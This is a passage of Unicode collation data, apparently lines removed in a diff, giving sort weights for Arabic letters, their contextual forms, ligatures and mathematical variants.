-FB5B  ; [.228B.0020.0019] # ARABIC LETTER BEHEH FINAL FORM
-FB5A  ; [.228B.0020.001A] # ARABIC LETTER BEHEH ISOLATED FORM
-0750  ; [.228C.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW
-0751  ; [.228D.0020.0002] # ARABIC LETTER BEH WITH DOT BELOW AND THREE DOTS ABOVE
-0752  ; [.228E.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW
-0753  ; [.228F.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW AND TWO DOTS ABOVE
-0754  ; [.2290.0020.0002] # ARABIC LETTER BEH WITH TWO DOTS BELOW AND DOT ABOVE
-0755  ; [.2291.0020.0002] # ARABIC LETTER BEH WITH INVERTED SMALL V BELOW
-08A0  ; [.2292.0020.0002] # ARABIC LETTER BEH WITH SMALL V BELOW
-0756  ; [.2293.0020.0002] # ARABIC LETTER BEH WITH SMALL V
-08A1  ; [.2294.0020.0002] # ARABIC LETTER BEH WITH HAMZA ABOVE
-0629  ; [.2295.0020.0002] # ARABIC LETTER TEH MARBUTA
-FE94  ; [.2295.0020.0019] # ARABIC LETTER TEH MARBUTA FINAL FORM
-FE93  ; [.2295.0020.001A] # ARABIC LETTER TEH MARBUTA ISOLATED FORM
-062A  ; [.2296.0020.0002] # ARABIC LETTER TEH
-1EE15 ; [.2296.0020.0005] # ARABIC MATHEMATICAL TEH
-1EE35 ; [.2296.0020.0005] # ARABIC MATHEMATICAL INITIAL TEH
-1EE75 ; [.2296.0020.0005] # ARABIC MATHEMATICAL STRETCHED TEH
-1EE95 ; [.2296.0020.0005] # ARABIC MATHEMATICAL LOOPED TEH
-1EEB5 ; [.2296.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK TEH
-FE97  ; [.2296.0020.0017] # ARABIC LETTER TEH INITIAL FORM
-FE98  ; [.2296.0020.0018] # ARABIC LETTER TEH MEDIAL FORM
-FE96  ; [.2296.0020.0019] # ARABIC LETTER TEH FINAL FORM
-FE95  ; [.2296.0020.001A] # ARABIC LETTER TEH ISOLATED FORM
-FCA1  ; [.2296.0020.0017][.229D.0020.0017] # ARABIC LIGATURE TEH WITH JEEM INITIAL FORM
-FC0B  ; [.2296.0020.001A][.229D.0020.001A] # ARABIC LIGATURE TEH WITH JEEM ISOLATED FORM
-FD50  ; [.2296.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
-FDA0  ; [.2296.0020.0019][.229D.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TEH WITH JEEM WITH ALEF MAKSURA FINAL FORM
-FD9F  ; [.2296.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TEH WITH JEEM WITH YEH FINAL FORM
-FCA2  ; [.2296.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE TEH WITH HAH INITIAL FORM
-FC0C  ; [.2296.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE TEH WITH HAH ISOLATED FORM
-FD52  ; [.2296.0020.0017][.22A4.0020.0017][.229D.0020.0017] # ARABIC LIGATURE TEH WITH HAH WITH JEEM INITIAL FORM
-FD51  ; [.2296.0020.0019][.22A4.0020.0019][.229D.0020.0019] # ARABIC LIGATURE TEH WITH HAH WITH JEEM FINAL FORM
-FD53  ; [.2296.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TEH WITH HAH WITH MEEM INITIAL FORM
-FCA3  ; [.2296.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE TEH WITH KHAH INITIAL FORM
-FC0D  ; [.2296.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE TEH WITH KHAH ISOLATED FORM
-FD54  ; [.2296.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TEH WITH KHAH WITH MEEM INITIAL FORM
-FDA2  ; [.2296.0020.0019][.22A5.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TEH WITH KHAH WITH ALEF MAKSURA FINAL FORM
-FDA1  ; [.2296.0020.0019][.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TEH WITH KHAH WITH YEH FINAL FORM
-FC70  ; [.2296.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE TEH WITH REH FINAL FORM
-FC71  ; [.2296.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE TEH WITH ZAIN FINAL FORM
-FCA4  ; [.2296.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TEH WITH MEEM INITIAL FORM
-FCE3  ; [.2296.0020.0018][.2318.0020.0018] # ARABIC LIGATURE TEH WITH MEEM MEDIAL FORM
-FC72  ; [.2296.0020.0019][.2318.0020.0019] # ARABIC LIGATURE TEH WITH MEEM FINAL FORM
-FC0E  ; [.2296.0020.001A][.2318.0020.001A] # ARABIC LIGATURE TEH WITH MEEM ISOLATED FORM
-FD55  ; [.2296.0020.0017][.2318.0020.0017][.229D.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH JEEM INITIAL FORM
-FD56  ; [.2296.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH HAH INITIAL FORM
-FD57  ; [.2296.0020.0017][.2318.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH KHAH INITIAL FORM
-FDA4  ; [.2296.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TEH WITH MEEM WITH ALEF MAKSURA FINAL FORM
-FDA3  ; [.2296.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TEH WITH MEEM WITH YEH FINAL FORM
-FC73  ; [.2296.0020.0019][.231C.0020.0019] # ARABIC LIGATURE TEH WITH NOON FINAL FORM
-FCA5  ; [.2296.0020.0017][.2325.0020.0017] # ARABIC LIGATURE TEH WITH HEH INITIAL FORM
-FCE4  ; [.2296.0020.0018][.2325.0020.0018] # ARABIC LIGATURE TEH WITH HEH MEDIAL FORM
-FC74  ; [.2296.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TEH WITH ALEF MAKSURA FINAL FORM
-FC0F  ; [.2296.0020.001A][.2339.0020.001A] # ARABIC LIGATURE TEH WITH ALEF MAKSURA ISOLATED FORM
-FC75  ; [.2296.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TEH WITH YEH FINAL FORM
-FC10  ; [.2296.0020.001A][.233A.0020.001A] # ARABIC LIGATURE TEH WITH YEH ISOLATED FORM
-062B  ; [.2297.0020.0002] # ARABIC LETTER THEH
-1EE16 ; [.2297.0020.0005] # ARABIC MATHEMATICAL THEH
-1EE36 ; [.2297.0020.0005] # ARABIC MATHEMATICAL INITIAL THEH
-1EE76 ; [.2297.0020.0005] # ARABIC MATHEMATICAL STRETCHED THEH
-1EE96 ; [.2297.0020.0005] # ARABIC MATHEMATICAL LOOPED THEH
-1EEB6 ; [.2297.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK THEH
-FE9B  ; [.2297.0020.0017] # ARABIC LETTER THEH INITIAL FORM
-FE9C  ; [.2297.0020.0018] # ARABIC LETTER THEH MEDIAL FORM
-FE9A  ; [.2297.0020.0019] # ARABIC LETTER THEH FINAL FORM
-FE99  ; [.2297.0020.001A] # ARABIC LETTER THEH ISOLATED FORM
-FC11  ; [.2297.0020.001A][.229D.0020.001A] # ARABIC LIGATURE THEH WITH JEEM ISOLATED FORM
-FC76  ; [.2297.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE THEH WITH REH FINAL FORM
-FC77  ; [.2297.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE THEH WITH ZAIN FINAL FORM
-FCA6  ; [.2297.0020.0017][.2318.0020.0017] # ARABIC LIGATURE THEH WITH MEEM INITIAL FORM
-FCE5  ; [.2297.0020.0018][.2318.0020.0018] # ARABIC LIGATURE THEH WITH MEEM MEDIAL FORM
-FC78  ; [.2297.0020.0019][.2318.0020.0019] # ARABIC LIGATURE THEH WITH MEEM FINAL FORM
-FC12  ; [.2297.0020.001A][.2318.0020.001A] # ARABIC LIGATURE THEH WITH MEEM ISOLATED FORM
-FC79  ; [.2297.0020.0019][.231C.0020.0019] # ARABIC LIGATURE THEH WITH NOON FINAL FORM
-FCE6  ; [.2297.0020.0018][.2325.0020.0018] # ARABIC LIGATURE THEH WITH HEH MEDIAL FORM
-FC7A  ; [.2297.0020.0019][.2339.0020.0019] # ARABIC LIGATURE THEH WITH ALEF MAKSURA FINAL FORM
-FC13  ; [.2297.0020.001A][.2339.0020.001A] # ARABIC LIGATURE THEH WITH ALEF MAKSURA ISOLATED FORM
-FC7B  ; [.2297.0020.0019][.233A.0020.0019] # ARABIC LIGATURE THEH WITH YEH FINAL FORM
-FC14  ; [.2297.0020.001A][.233A.0020.001A] # ARABIC LIGATURE THEH WITH YEH ISOLATED FORM
-0679  ; [.2298.0020.0002] # ARABIC LETTER TTEH
-FB68  ; [.2298.0020.0017] # ARABIC LETTER TTEH INITIAL FORM
-FB69  ; [.2298.0020.0018] # ARABIC LETTER TTEH MEDIAL FORM
-FB67  ; [.2298.0020.0019] # ARABIC LETTER TTEH FINAL FORM
-FB66  ; [.2298.0020.001A] # ARABIC LETTER TTEH ISOLATED FORM
-067A  ; [.2299.0020.0002] # ARABIC LETTER TTEHEH
-FB60  ; [.2299.0020.0017] # ARABIC LETTER TTEHEH INITIAL FORM
-FB61  ; [.2299.0020.0018] # ARABIC LETTER TTEHEH MEDIAL FORM
-FB5F  ; [.2299.0020.0019] # ARABIC LETTER TTEHEH FINAL FORM
-FB5E  ; [.2299.0020.001A] # ARABIC LETTER TTEHEH ISOLATED FORM
-067C  ; [.229A.0020.0002] # ARABIC LETTER TEH WITH RING
-067D  ; [.229B.0020.0002] # ARABIC LETTER TEH WITH THREE DOTS ABOVE DOWNWARDS
-067F  ; [.229C.0020.0002] # ARABIC LETTER TEHEH
-FB64  ; [.229C.0020.0017] # ARABIC LETTER TEHEH INITIAL FORM
-FB65  ; [.229C.0020.0018] # ARABIC LETTER TEHEH MEDIAL FORM
-FB63  ; [.229C.0020.0019] # ARABIC LETTER TEHEH FINAL FORM
-FB62  ; [.229C.0020.001A] # ARABIC LETTER TEHEH ISOLATED FORM
-062C  ; [.229D.0020.0002] # ARABIC LETTER JEEM
-1EE02 ; [.229D.0020.0005] # ARABIC MATHEMATICAL JEEM
-1EE22 ; [.229D.0020.0005] # ARABIC MATHEMATICAL INITIAL JEEM
-1EE42 ; [.229D.0020.0005] # ARABIC MATHEMATICAL TAILED JEEM
-1EE62 ; [.229D.0020.0005] # ARABIC MATHEMATICAL STRETCHED JEEM
-1EE82 ; [.229D.0020.0005] # ARABIC MATHEMATICAL LOOPED JEEM
-1EEA2 ; [.229D.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK JEEM
-FE9F  ; [.229D.0020.0017] # ARABIC LETTER JEEM INITIAL FORM
-FEA0  ; [.229D.0020.0018] # ARABIC LETTER JEEM MEDIAL FORM
-FE9E  ; [.229D.0020.0019] # ARABIC LETTER JEEM FINAL FORM
-FE9D  ; [.229D.0020.001A] # ARABIC LETTER JEEM ISOLATED FORM
-FCA7  ; [.229D.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE JEEM WITH HAH INITIAL FORM
-FC15  ; [.229D.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE JEEM WITH HAH ISOLATED FORM
-FDA6  ; [.229D.0020.0019][.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE JEEM WITH HAH WITH ALEF MAKSURA FINAL FORM
-FDBE  ; [.229D.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE JEEM WITH HAH WITH YEH FINAL FORM
-FDFB  ; [.229D.0020.001A][.2311.0020.001A][*0209.0020.001A][.229D.0020.001A][.2311.0020.001A][.2286.0020.001A][.2311.0020.001A][.2325.0020.001A] # ARABIC LIGATURE JALLAJALALOUHOU
-FCA8  ; [.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE JEEM WITH MEEM INITIAL FORM
-FC16  ; [.229D.0020.001A][.2318.0020.001A] # ARABIC LIGATURE JEEM WITH MEEM ISOLATED FORM
-FD59  ; [.229D.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE JEEM WITH MEEM WITH HAH INITIAL FORM
-FD58  ; [.229D.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH HAH FINAL FORM
-FDA7  ; [.229D.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH ALEF MAKSURA FINAL FORM
-FDA5  ; [.229D.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH YEH FINAL FORM
-FD1D  ; [.229D.0020.0019][.2339.0020.0019] # ARABIC LIGATURE JEEM WITH ALEF MAKSURA FINAL FORM
-FD01  ; [.229D.0020.001A][.2339.0020.001A] # ARABIC LIGATURE JEEM WITH ALEF MAKSURA ISOLATED FORM
-FD1E  ; [.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE JEEM WITH YEH FINAL FORM
-FD02  ; [.229D.0020.001A][.233A.0020.001A] # ARABIC LIGATURE JEEM WITH YEH ISOLATED FORM
-0683  ; [.229E.0020.0002] # ARABIC LETTER NYEH
-FB78  ; [.229E.0020.0017] # ARABIC LETTER NYEH INITIAL FORM
-FB79  ; [.229E.0020.0018] # ARABIC LETTER NYEH MEDIAL FORM
-FB77  ; [.229E.0020.0019] # ARABIC LETTER NYEH FINAL FORM
-FB76  ; [.229E.0020.001A] # ARABIC LETTER NYEH ISOLATED FORM
-0684  ; [.229F.0020.0002] # ARABIC LETTER DYEH
-FB74  ; [.229F.0020.0017] # ARABIC LETTER DYEH INITIAL FORM
-FB75  ; [.229F.0020.0018] # ARABIC LETTER DYEH MEDIAL FORM
-FB73  ; [.229F.0020.0019] # ARABIC LETTER DYEH FINAL FORM
-FB72  ; [.229F.0020.001A] # ARABIC LETTER DYEH ISOLATED FORM
-0686  ; [.22A0.0020.0002] # ARABIC LETTER TCHEH
-FB7C  ; [.22A0.0020.0017] # ARABIC LETTER TCHEH INITIAL FORM
-FB7D  ; [.22A0.0020.0018] # ARABIC LETTER TCHEH MEDIAL FORM
-FB7B  ; [.22A0.0020.0019] # ARABIC LETTER TCHEH FINAL FORM
-FB7A  ; [.22A0.0020.001A] # ARABIC LETTER TCHEH ISOLATED FORM
-06BF  ; [.22A1.0020.0002] # ARABIC LETTER TCHEH WITH DOT ABOVE
-0687  ; [.22A2.0020.0002] # ARABIC LETTER TCHEHEH
-FB80  ; [.22A2.0020.0017] # ARABIC LETTER TCHEHEH INITIAL FORM
-FB81  ; [.22A2.0020.0018] # ARABIC LETTER TCHEHEH MEDIAL FORM
-FB7F  ; [.22A2.0020.0019] # ARABIC LETTER TCHEHEH FINAL FORM
-FB7E  ; [.22A2.0020.001A] # ARABIC LETTER TCHEHEH ISOLATED FORM
-08A2  ; [.22A3.0020.0002] # ARABIC LETTER JEEM WITH TWO DOTS ABOVE
-062D  ; [.22A4.0020.0002] # ARABIC LETTER HAH
-1EE07 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL HAH
-1EE27 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL INITIAL HAH
-1EE47 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL TAILED HAH
-1EE67 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL STRETCHED HAH
-1EE87 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL LOOPED HAH
-1EEA7 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK HAH
-FEA3  ; [.22A4.0020.0017] # ARABIC LETTER HAH INITIAL FORM
-FEA4  ; [.22A4.0020.0018] # ARABIC LETTER HAH MEDIAL FORM
-FEA2  ; [.22A4.0020.0019] # ARABIC LETTER HAH FINAL FORM
-FEA1  ; [.22A4.0020.001A] # ARABIC LETTER HAH ISOLATED FORM
-FCA9  ; [.22A4.0020.0017][.229D.0020.0017] # ARABIC LIGATURE HAH WITH JEEM INITIAL FORM
-FC17  ; [.22A4.0020.001A][.229D.0020.001A] # ARABIC LIGATURE HAH WITH JEEM ISOLATED FORM
-FDBF  ; [.22A4.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE HAH WITH JEEM WITH YEH FINAL FORM
-FCAA  ; [.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE HAH WITH MEEM INITIAL FORM
-FC18  ; [.22A4.0020.001A][.2318.0020.001A] # ARABIC LIGATURE HAH WITH MEEM ISOLATED FORM
-FD5B  ; [.22A4.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE HAH WITH MEEM WITH ALEF MAKSURA FINAL FORM
-FD5A  ; [.22A4.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE HAH WITH MEEM WITH YEH FINAL FORM
-FD1B  ; [.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE HAH WITH ALEF MAKSURA FINAL FORM
-FCFF  ; [.22A4.0020.001A][.2339.0020.001A] # ARABIC LIGATURE HAH WITH ALEF MAKSURA ISOLATED FORM
-FD1C  ; [.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE HAH WITH YEH FINAL FORM
-FD00  ; [.22A4.0020.001A][.233A.0020.001A] # ARABIC LIGATURE HAH WITH YEH ISOLATED FORM
-062E  ; [.22A5.0020.0002] # ARABIC LETTER KHAH
-1EE17 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL KHAH
-1EE37 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL INITIAL KHAH
-1EE57 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL TAILED KHAH
-1EE77 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL STRETCHED KHAH
-1EE97 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL LOOPED KHAH
-1EEB7 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK KHAH
-FEA7  ; [.22A5.0020.0017] # ARABIC LETTER KHAH INITIAL FORM
-FEA8  ; [.22A5.0020.0018] # ARABIC LETTER KHAH MEDIAL FORM
-FEA6  ; [.22A5.0020.0019] # ARABIC LETTER KHAH FINAL FORM
-FEA5  ; [.22A5.0020.001A] # ARABIC LETTER KHAH ISOLATED FORM
-FCAB  ; [.22A5.0020.0017][.229D.0020.0017] # ARABIC LIGATURE KHAH WITH JEEM INITIAL FORM
-FC19  ; [.22A5.0020.001A][.229D.0020.001A] # ARABIC LIGATURE KHAH WITH JEEM ISOLATED FORM
-FC1A  ; [.22A5.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE KHAH WITH HAH ISOLATED FORM
-FCAC  ; [.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE KHAH WITH MEEM INITIAL FORM
-FC1B  ; [.22A5.0020.001A][.2318.0020.001A] # ARABIC LIGATURE KHAH WITH MEEM ISOLATED FORM
-FD1F  ; [.22A5.0020.0019][.2339.0020.0019] # ARABIC LIGATURE KHAH WITH ALEF MAKSURA FINAL FORM
-FD03  ; [.22A5.0020.001A][.2339.0020.001A] # ARABIC LIGATURE KHAH WITH ALEF MAKSURA ISOLATED FORM
-FD20  ; [.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE KHAH WITH YEH FINAL FORM
-FD04  ; [.22A5.0020.001A][.233A.0020.001A] # ARABIC LIGATURE KHAH WITH YEH ISOLATED FORM
-0681  ; [.22A6.0020.0002] # ARABIC LETTER HAH WITH HAMZA ABOVE
-0682  ; [.22A7.0020.0002] # ARABIC LETTER HAH WITH TWO DOTS VERTICAL ABOVE
-0685  ; [.22A8.0020.0002] # ARABIC LETTER HAH WITH THREE DOTS ABOVE
-0757  ; [.22A9.0020.0002] # ARABIC LETTER HAH WITH TWO DOTS ABOVE
-0758  ; [.22AA.0020.0002] # ARABIC LETTER HAH WITH THREE DOTS POINTING UPWARDS BELOW
-076E  ; [.22AB.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH BELOW
-076F  ; [.22AC.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH AND TWO DOTS
-0772  ; [.22AD.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH ABOVE
-077C  ; [.22AE.0020.0002] # ARABIC LETTER HAH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW
-062F  ; [.22AF.0020.0002] # ARABIC LETTER DAL
-1EE03 ; [.22AF.0020.0005] # ARABIC MATHEMATICAL DAL
-1EE83 ; [.22AF.0020.0005] # ARABIC MATHEMATICAL LOOPED DAL
-1EEA3 ; [.22AF.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK DAL
-FEAA  ; [.22AF.0020.0019] # ARABIC LETTER DAL FINAL FORM
-FEA9  ; [.22AF.0020.001A] # ARABIC LETTER DAL ISOLATED FORM
-0630  ; [.22B0.0020.0002] # ARABIC LETTER THAL
-1EE18 ; [.22B0.0020.0005] # ARABIC MATHEMATICAL THAL
-1EE98 ; [.22B0.0020.0005] # ARABIC MATHEMATICAL LOOPED THAL
-1EEB8 ; [.22B0.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK THAL
-FEAC  ; [.22B0.0020.0019] # ARABIC LETTER THAL FINAL FORM
-FEAB  ; [.22B0.0020.001A] # ARABIC LETTER THAL ISOLATED FORM
-FC5B  ; [.22B0.0020.001A][.0000.0098.001A] # ARABIC LIGATURE THAL WITH SUPERSCRIPT ALEF ISOLATED FORM
-0688  ; [.22B1.0020.0002] # ARABIC LETTER DDAL
-FB89  ; [.22B1.0020.0019] # ARABIC LETTER DDAL FINAL FORM
-FB88  ; [.22B1.0020.001A] # ARABIC LETTER DDAL ISOLATED FORM
-0689  ; [.22B2.0020.0002] # ARABIC LETTER DAL WITH RING
-068A  ; [.22B3.0020.0002] # ARABIC LETTER DAL WITH DOT BELOW
-068B  ; [.22B4.0020.0002] # ARABIC LETTER DAL WITH DOT BELOW AND SMALL TAH
-068C  ; [.22B5.0020.0002] # ARABIC LETTER DAHAL
-FB85  ; [.22B5.0020.0019] # ARABIC LETTER DAHAL FINAL FORM
-FB84  ; [.22B5.0020.001A] # ARABIC LETTER DAHAL ISOLATED FORM
-068D  ; [.22B6.0020.0002] # ARABIC LETTER DDAHAL
-FB83  ; [.22B6.0020.0019] # ARABIC LETTER DDAHAL FINAL FORM
-FB82  ; [.22B6.0020.001A] # ARABIC LETTER DDAHAL ISOLATED FORM
-08AE  ; [.22B7.0020.0002] # ARABIC LETTER DAL WITH THREE DOTS BELOW
-068E  ; [.22B8.0020.0002] # ARABIC LETTER DUL
-FB87  ; [.22B8.0020.0019] # ARABIC LETTER DUL FINAL FORM
-FB86  ; [.22B8.0020.001A] # ARABIC LETTER DUL ISOLATED FORM
-068F  ; [.22B9.0020.0002] # ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARDS
-0690  ; [.22BA.0020.0002] # ARABIC LETTER DAL WITH FOUR DOTS ABOVE
-06EE  ; [.22BB.0020.0002] # ARABIC LETTER DAL WITH INVERTED V
-0759  ; [.22BC.0020.0002] # ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW AND SMALL TAH
-075A  ; [.22BD.0020.0002] # ARABIC LETTER DAL WITH INVERTED SMALL V BELOW
-0631  ; [.22BE.0020.0002] # ARABIC LETTER REH
-1EE13 ; [.22BE.0020.0005] # ARABIC MATHEMATICAL REH
-1EE93 ; [.22BE.0020.0005] # ARABIC MATHEMATICAL LOOPED REH
-1EEB3 ; [.22BE.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK REH
-FEAE  ; [.22BE.0020.0019] # ARABIC LETTER REH FINAL FORM
-FEAD  ; [.22BE.0020.001A] # ARABIC LETTER REH ISOLATED FORM
-FC5C  ; [.22BE.0020.001A][.0000.0098.001A] # ARABIC LIGATURE REH WITH SUPERSCRIPT ALEF ISOLATED FORM
-FDF6  ; [.22BE.0020.001A][.22D0.0020.001A][.232B.0020.001A][.2311.0020.001A] # ARABIC LIGATURE RASOUL ISOLATED FORM
-FDFC  ; [.22BE.0020.001A][.233B.0020.001A][.2286.0020.001A][.2311.0020.001A] # RIAL SIGN
-0632  ; [.22BF.0020.0002] # ARABIC LETTER ZAIN
-1EE06 ; [.22BF.0020.0005] # ARABIC MATHEMATICAL ZAIN
-1EE86 ; [.22BF.0020.0005] # ARABIC MATHEMATICAL LOOPED ZAIN
-1EEA6 ; [.22BF.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK ZAIN
-FEB0  ; [.22BF.0020.0019] # ARABIC LETTER ZAIN FINAL FORM
-FEAF  ; [.22BF.0020.001A] # ARABIC LETTER ZAIN ISOLATED FORM
-0691  ; [.22C0.0020.0002] # ARABIC LETTER RREH
-FB8D  ; [.22C0.0020.0019] # ARABIC LETTER RREH FINAL FORM
-FB8C  ; [.22C0.0020.001A] # ARABIC LETTER RREH ISOLATED FORM
-0692  ; [.22C1.0020.0002] # ARABIC LETTER REH WITH SMALL V
-0693  ; [.22C2.0020.0002] # ARABIC LETTER REH WITH RING
-0694  ; [.22C3.0020.0002] # ARABIC LETTER REH WITH DOT BELOW
-0695  ; [.22C4.0020.0002] # ARABIC LETTER REH WITH SMALL V BELOW
-0696  ; [.22C5.0020.0002] # ARABIC LETTER REH WITH DOT BELOW AND DOT ABOVE
-0697  ; [.22C6.0020.0002] # ARABIC LETTER REH WITH TWO DOTS ABOVE
-0698  ; [.22C7.0020.0002] # ARABIC LETTER JEH
-FB8B  ; [.22C7.0020.0019] # ARABIC LETTER JEH FINAL FORM
-FB8A  ; [.22C7.0020.001A] # ARABIC LETTER JEH ISOLATED FORM
-0699  ; [.22C8.0020.0002] # ARABIC LETTER REH WITH FOUR DOTS ABOVE
-06EF  ; [.22C9.0020.0002] # ARABIC LETTER REH WITH INVERTED V
-075B  ; [.22CA.0020.0002] # ARABIC LETTER REH WITH STROKE
-076B  ; [.22CB.0020.0002] # ARABIC LETTER REH WITH TWO DOTS VERTICALLY ABOVE
-076C  ; [.22CC.0020.0002] # ARABIC LETTER REH WITH HAMZA ABOVE
-0771  ; [.22CD.0020.0002] # ARABIC LETTER REH WITH SMALL ARABIC LETTER TAH AND TWO DOTS
-08AA  ; [.22CE.0020.0002] # ARABIC LETTER REH WITH LOOP
-08B2  ; [.22CF.0020.0002] # ARABIC LETTER ZAIN WITH INVERTED V ABOVE
-0633  ; [.22D0.0020.0002] # ARABIC LETTER SEEN
-1EE0E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL SEEN
-1EE2E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL INITIAL SEEN
-1EE4E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL TAILED SEEN
-1EE6E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL STRETCHED SEEN
-1EE8E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL LOOPED SEEN
-1EEAE ; [.22D0.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SEEN
-FEB3  ; [.22D0.0020.0017] # ARABIC LETTER SEEN INITIAL FORM
-FEB4  ; [.22D0.0020.0018] # ARABIC LETTER SEEN MEDIAL FORM
-FEB2  ; [.22D0.0020.0019] # ARABIC LETTER SEEN FINAL FORM
-FEB1  ; [.22D0.0020.001A] # ARABIC LETTER SEEN ISOLATED FORM
-FCAD  ; [.22D0.0020.0017][.229D.0020.0017] # ARABIC LIGATURE SEEN WITH JEEM INITIAL FORM
-FD34  ; [.22D0.0020.0018][.229D.0020.0018] # ARABIC LIGATURE SEEN WITH JEEM MEDIAL FORM
-FC1C  ; [.22D0.0020.001A][.229D.0020.001A] # ARABIC LIGATURE SEEN WITH JEEM ISOLATED FORM
-FD5D  ; [.22D0.0020.0017][.229D.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SEEN WITH JEEM WITH HAH INITIAL FORM
-FD5E  ; [.22D0.0020.0019][.229D.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SEEN WITH JEEM WITH ALEF MAKSURA FINAL FORM
-FCAE  ; [.22D0.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SEEN WITH HAH INITIAL FORM
-FD35  ; [.22D0.0020.0018][.22A4.0020.0018] # ARABIC LIGATURE SEEN WITH HAH MEDIAL FORM
-FC1D  ; [.22D0.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE SEEN WITH HAH ISOLATED FORM
-FD5C  ; [.22D0.0020.0017][.22A4.0020.0017][.229D.0020.0017] # ARABIC LIGATURE SEEN WITH HAH WITH JEEM INITIAL FORM
-FCAF  ; [.22D0.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE SEEN WITH KHAH INITIAL FORM
-FD36  ; [.22D0.0020.0018][.22A5.0020.0018] # ARABIC LIGATURE SEEN WITH KHAH MEDIAL FORM
-FC1E  ; [.22D0.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE SEEN WITH KHAH ISOLATED FORM
-FDA8  ; [.22D0.0020.0019][.22A5.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SEEN WITH KHAH WITH ALEF MAKSURA FINAL FORM
-FDC6  ; [.22D0.0020.0019][.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SEEN WITH KHAH WITH YEH FINAL FORM
-FD2A  ; [.22D0.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE SEEN WITH REH FINAL FORM
